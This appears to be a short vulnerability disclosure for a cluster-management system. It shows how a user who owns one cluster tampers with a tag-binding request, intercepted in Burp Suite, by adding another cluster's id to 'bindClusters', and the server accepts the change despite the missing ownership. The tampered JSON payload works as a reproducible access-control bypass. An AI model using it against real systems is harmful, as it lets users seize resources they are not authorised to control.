Proof of Concept

1 admin create cluster1, cluster2, clusterTag1 and clusterTag2

2 admin add user1 as owner of cluster1,clusterTag1

3 user1 bind clusterTag1 to cluster1

4 user1 use burpsuite hiajck the request

5 the request content can be

{"clusterTag":"biaoqia4","bindClusters":[1]}

6 change the request content:

{"clusterTag":"biaoqia4","bindClusters":[1,2]}

  2 is the id of cluster2. user1 is not the owner of cluster2.

7 result:

{"success":true,"errMsg":null,"data":true}

Impact

attack can bind any cluster, even the he is not the owner of the cluster.